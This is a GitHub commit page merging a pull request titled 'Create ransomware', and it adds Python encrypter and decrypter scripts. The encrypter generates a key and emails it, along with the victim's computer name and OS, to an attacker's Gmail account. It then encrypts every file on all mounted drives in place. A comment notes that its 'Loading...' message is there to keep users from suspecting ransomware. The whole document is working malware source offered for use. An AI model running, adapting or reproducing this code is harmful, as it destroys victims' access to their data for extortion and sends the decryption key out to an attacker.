-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #6 from dmdhrumilmistry/create-ransomware
Create ransomware
- Loading branch information
Showing
5 changed files
with
190 additions
and
117 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,92 @@ | ||
from cryptography.fernet import Fernet | ||
from sys import exit | ||
from os import walk | ||
from os.path import join | ||
from psutil import disk_partitions | ||
|
||
class DMSECDecrypter: | ||
def __init__(self, key:str=None, paths:list=None) -> None: | ||
# check key | ||
if key == None: | ||
print('[!] Invalid KEY') | ||
exit() | ||
|
||
# convert key to bytes | ||
if type(key)==str: | ||
key = bytes(key, encoding='utf-8') | ||
self.KEY = key | ||
print('[!] Decrypting data using KEY :', self.KEY) | ||
|
||
# generate fernet obj for file encryption | ||
self.fernet = Fernet(self.KEY) | ||
|
||
# decrypt all partitions if paths are not passed | ||
if paths == None: | ||
self.PATHS = self.__get_partitions_path() | ||
else: | ||
self.PATHS = paths | ||
print('[!] PATHS to be decrypted :\n', self.PATHS) | ||
|
||
|
||
|
||
def __get_partitions_path(self) -> list: | ||
''' | ||
returns all mounted partition's mount points as a list | ||
''' | ||
mount_points = [] | ||
for partition in disk_partitions(): | ||
mount_points.append(partition.mountpoint) | ||
return mount_points | ||
|
||
|
||
def decrypt_file(self, file_path:str): | ||
''' | ||
decrypts single file | ||
''' | ||
try: | ||
# read file data | ||
with open(file_path, 'rb') as f: | ||
file_data = f.read() | ||
|
||
# decrypt file data | ||
dec_data = self.fernet.decrypt(file_data) | ||
|
||
# write file data | ||
with open(file_path, 'wb') as f: | ||
f.write(dec_data) | ||
print(f'[*] File {file_path} decrypted.') | ||
return True | ||
|
||
except Exception: | ||
print(f'[!] Failed to decrypt {file_path}') | ||
return False | ||
|
||
|
||
def decrypt_files(self, path:str): | ||
''' | ||
decrypts all the files in the specified path | ||
''' | ||
for root, dirs, files in walk(path): | ||
for file in files: | ||
file_path = join(root, file) | ||
self.decrypt_file(file_path=file_path) | ||
|
||
|
||
def start(self): | ||
for path in self.PATHS: | ||
self.decrypt_files(path) | ||
|
||
|
||
if __name__ == '__main__': | ||
print('[*] Decrypting....') | ||
|
||
# specify paths to be decrypted | ||
PATHS = [r'paths_to_be_decrypted',] | ||
|
||
KEY = input('[+] Enter KEY : ') | ||
|
||
# don't pass PATHS if all the drives are to be decrypted. | ||
encrypter = DMSECDecrypter(KEY, PATHS) | ||
encrypter.start() | ||
|
||
print('[*] Decrypted...') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,96 @@ | ||
import smtplib | ||
from cryptography.fernet import Fernet | ||
from os import walk, environ | ||
from os.path import join | ||
from psutil import disk_partitions | ||
|
||
|
||
class DMSECEncrypter: | ||
def __init__(self, paths:list=None, gmail:str=None, passwd:str=None) -> None: | ||
# generate new key | ||
self.KEY = Fernet.generate_key() | ||
|
||
# report KEY to the attacker using email | ||
if gmail!=None and passwd!=None and self.send_mail(mail=gmail, password=passwd): | ||
pass | ||
else: | ||
# print error message and exit if key is not sent | ||
print('[!] Try Again, Unable to connect') | ||
exit() | ||
|
||
# generate fernet obj for file encryption | ||
self.fernet = Fernet(self.KEY) | ||
|
||
if paths == None: | ||
self.PATHS = self.__get_partitions_path() | ||
else: | ||
self.PATHS = paths | ||
|
||
|
||
def send_mail(self, mail, password)->bool: | ||
''' | ||
sends mail to specific address/addresses. | ||
''' | ||
try: | ||
message = f'Subject: RNSMWARE ATTK has been initialized on {environ["COMPUTERNAME"]}\n**KEY** {str(self.KEY, encoding="utf-8")}\n**OS** {environ["OS"]}\n\n' | ||
server = smtplib.SMTP('smtp.gmail.com', 587) | ||
server.starttls() | ||
server.login(mail, password) | ||
server.sendmail(mail, mail, message) | ||
server.quit() | ||
return True | ||
except Exception as e: | ||
return False | ||
|
||
|
||
def __get_partitions_path(self) -> list: | ||
''' | ||
returns all mounted partition's mount points as a list | ||
''' | ||
mount_points = [] | ||
for partition in disk_partitions(): | ||
mount_points.append(partition.mountpoint) | ||
return mount_points | ||
|
||
|
||
def encrypt_file(self, file_path): | ||
try: | ||
# read file data | ||
with open(file_path, 'rb') as f: | ||
file_data = f.read() | ||
|
||
# encrypt file data | ||
enc_data = self.fernet.encrypt(file_data) | ||
|
||
# write file data | ||
with open(file_path, 'wb') as f: | ||
file_data = f.write(enc_data) | ||
return True | ||
|
||
except Exception: | ||
return False | ||
|
||
|
||
def encrypt_files(self, path:str): | ||
for root, dirs, files in walk(path): | ||
for file in files: | ||
file_path = join(root, file) | ||
self.encrypt_file(file_path=file_path) | ||
|
||
|
||
def start(self): | ||
for path in self.PATHS: | ||
self.encrypt_files(path) | ||
|
||
|
||
if __name__ == '__main__': | ||
# Print some meaningful text, so that user don't suspect program as ransomeware | ||
print('[*] Loading...') | ||
|
||
# Specify paths to be encrypted | ||
PATHS = [r'path_to_be_encrypted',] | ||
|
||
# don't pass PATHS if all the drives are to be encrypted | ||
encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword') | ||
encrypter.start() | ||
print('[*] Completed') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters